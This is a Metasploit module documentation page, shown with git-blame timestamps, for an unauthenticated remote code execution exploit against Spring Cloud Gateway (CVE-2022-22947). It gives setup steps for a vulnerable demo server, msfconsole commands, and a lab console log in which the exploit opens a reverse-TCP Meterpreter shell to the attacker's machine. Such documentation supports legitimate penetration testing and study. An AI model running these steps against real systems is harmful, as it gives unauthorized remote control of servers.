2022-10-06 15:48:36 -04:00
|
|
|
## Vulnerable Application
|
|
|
|
|
|
2022-10-11 15:46:04 -05:00
|
|
|
The vulnerability exploits [CVE-2022-22947](https://nvd.nist.gov/vuln/detail/CVE-2022-22947) an unauthenticated RCE
|
|
|
|
|
vulnerability in Spring Cloud Gateway. According to [VMware](https://tanzu.vmware.com/security/cve-2022-22947)
|
|
|
|
|
the versions affected are:
|
2022-10-06 15:48:36 -04:00
|
|
|
|
|
|
|
|
- 3.1.0
|
|
|
|
|
- 3.0.0 to 3.0.6
|
|
|
|
|
- Older, unsupported versions are also affected
|
|
|
|
|
|
2022-10-11 15:46:04 -05:00
|
|
|
A sample demo [project](https://github.com/wdahlenburg/spring-gateway-demo) is available,
|
|
|
|
|
which can be used to run a vulnerable server by following the installation instructions below.
|
2022-10-06 15:48:36 -04:00
|
|
|
|
2022-10-12 11:36:35 -04:00
|
|
|
### Installation Instructions
|
2022-10-06 15:48:36 -04:00
|
|
|
|
|
|
|
|
```bash
|
2022-10-11 15:46:04 -05:00
|
|
|
# To use the pre-compile vulnerable application
|
|
|
|
|
wget https://github.com/wdahlenburg/spring-gateway-demo/releases/download/v.0.0.1/spring-gateway-demo-0.0.1-SNAPSHOT.jar
|
|
|
|
|
sudo apt install default-jdk
|
|
|
|
|
java -jar spring-gateway-demo-0.0.1-SNAPSHOT.jar # This will host the app on port 9000
|
2022-10-06 15:48:36 -04:00
|
|
|
|
|
|
|
|
|
2022-10-11 15:46:04 -05:00
|
|
|
# If you want to compile for a version of spring cloud gateway on your own
|
|
|
|
|
git clone https://github.com/wdahlenburg/spring-gateway-demo.git
|
2022-10-06 15:48:36 -04:00
|
|
|
|
2022-10-11 15:46:04 -05:00
|
|
|
# In pom.xml, change the version in '<spring-cloud.version>2021.0.1-SNAPSHOT</spring-cloud.version>'.
|
|
|
|
|
# To see which spring cloud version includes which version of spring cloud gateway,
|
|
|
|
|
# look here : https://repo1.maven.org/maven2/org/springframework/cloud/spring-cloud-dependencies/
|
2022-10-06 15:48:36 -04:00
|
|
|
|
2022-10-11 15:46:04 -05:00
|
|
|
apt install maven
|
|
|
|
|
mvn package -DskipTests
|
|
|
|
|
java -jar target/spring-gateway-demo-0.0.1-SNAPSHOT.jar # This will host the app on port 9000
|
2022-10-06 15:48:36 -04:00
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
## Verification Steps
|
|
|
|
|
|
|
|
|
|
- Run the vulnerable server
|
|
|
|
|
- Start msfconsole
|
|
|
|
|
- Do: `use exploit/linux/http/spring_cloud_gateway_rce`
|
|
|
|
|
- Do: `set RHOSTS <server_ip>`
|
2022-10-12 11:19:47 -05:00
|
|
|
- Do: `set LHOST <metasploit_machine_ip>`
|
2022-10-06 15:48:36 -04:00
|
|
|
- Do: `set RPORT 9000`
|
|
|
|
|
- Do: `run`
|
2022-10-11 15:46:04 -05:00
|
|
|
- You should get a Meterpreter shell.
|
2022-10-06 15:48:36 -04:00
|
|
|
|
2022-10-11 15:46:04 -05:00
|
|
|
## Options
|
|
|
|
|
|
2022-10-11 18:17:52 -04:00
|
|
|
No particular option to be set
|
|
|
|
|
|
2022-10-11 15:46:04 -05:00
|
|
|
## Scenarios
|
2022-10-06 15:48:36 -04:00
|
|
|
|
2022-10-12 11:36:35 -04:00
|
|
|
### Spring Cloud gateway version 3.1.0 on Linux kali 5.18.0-kali5-amd64
|
2022-10-06 15:48:36 -04:00
|
|
|
|
|
|
|
|
```
|
|
|
|
|
msf6 > use exploit/linux/http/spring_cloud_gateway_rce
|
|
|
|
|
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
|
|
|
|
msf6 exploit(linux/http/spring_cloud_gateway_rce) > set RHOSTS 192.168.19.140
|
|
|
|
|
RHOSTS => 192.168.19.140
|
|
|
|
|
msf6 exploit(linux/http/spring_cloud_gateway_rce) > set RPORT 9000
|
|
|
|
|
RPORT => 9000
|
2022-10-12 11:19:47 -05:00
|
|
|
msf6 exploit(linux/http/spring_cloud_gateway_rce) > set LHOST 192.168.1.7
|
|
|
|
|
LHOST => 192.168.1.7
|
2022-10-06 15:48:36 -04:00
|
|
|
msf6 exploit(linux/http/spring_cloud_gateway_rce) > run
|
|
|
|
|
|
2022-10-11 18:17:52 -04:00
|
|
|
[*] Started reverse TCP handler on 192.168.1.7:4444
|
2022-10-06 15:48:36 -04:00
|
|
|
[*] Running automatic check ("set AutoCheck false" to disable)
|
2022-10-11 15:46:04 -05:00
|
|
|
[*] Checking if server is vulnerable
|
2022-10-11 18:17:52 -04:00
|
|
|
[*] Triggering code execution using routes
|
2022-10-06 15:48:36 -04:00
|
|
|
[+] Route deleted
|
|
|
|
|
[+] The target is vulnerable.
|
2022-10-11 18:17:52 -04:00
|
|
|
[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp
|
2022-10-11 15:46:04 -05:00
|
|
|
[*] Triggering code execution using routes
|
2022-10-11 18:17:52 -04:00
|
|
|
[*] Sending stage (40164 bytes) to 192.168.1.7
|
|
|
|
|
[*] Meterpreter session 7 opened (192.168.1.7:4444 -> 192.168.1.7:53264) at 2022-10-11 17:44:53 -0400
|
2022-10-06 15:48:36 -04:00
|
|
|
[+] Route deleted
|
|
|
|
|
|
|
|
|
|
meterpreter >
|
2022-10-11 15:46:04 -05:00
|
|
|
```
|
2022-10-11 18:17:52 -04:00
|
|
|
|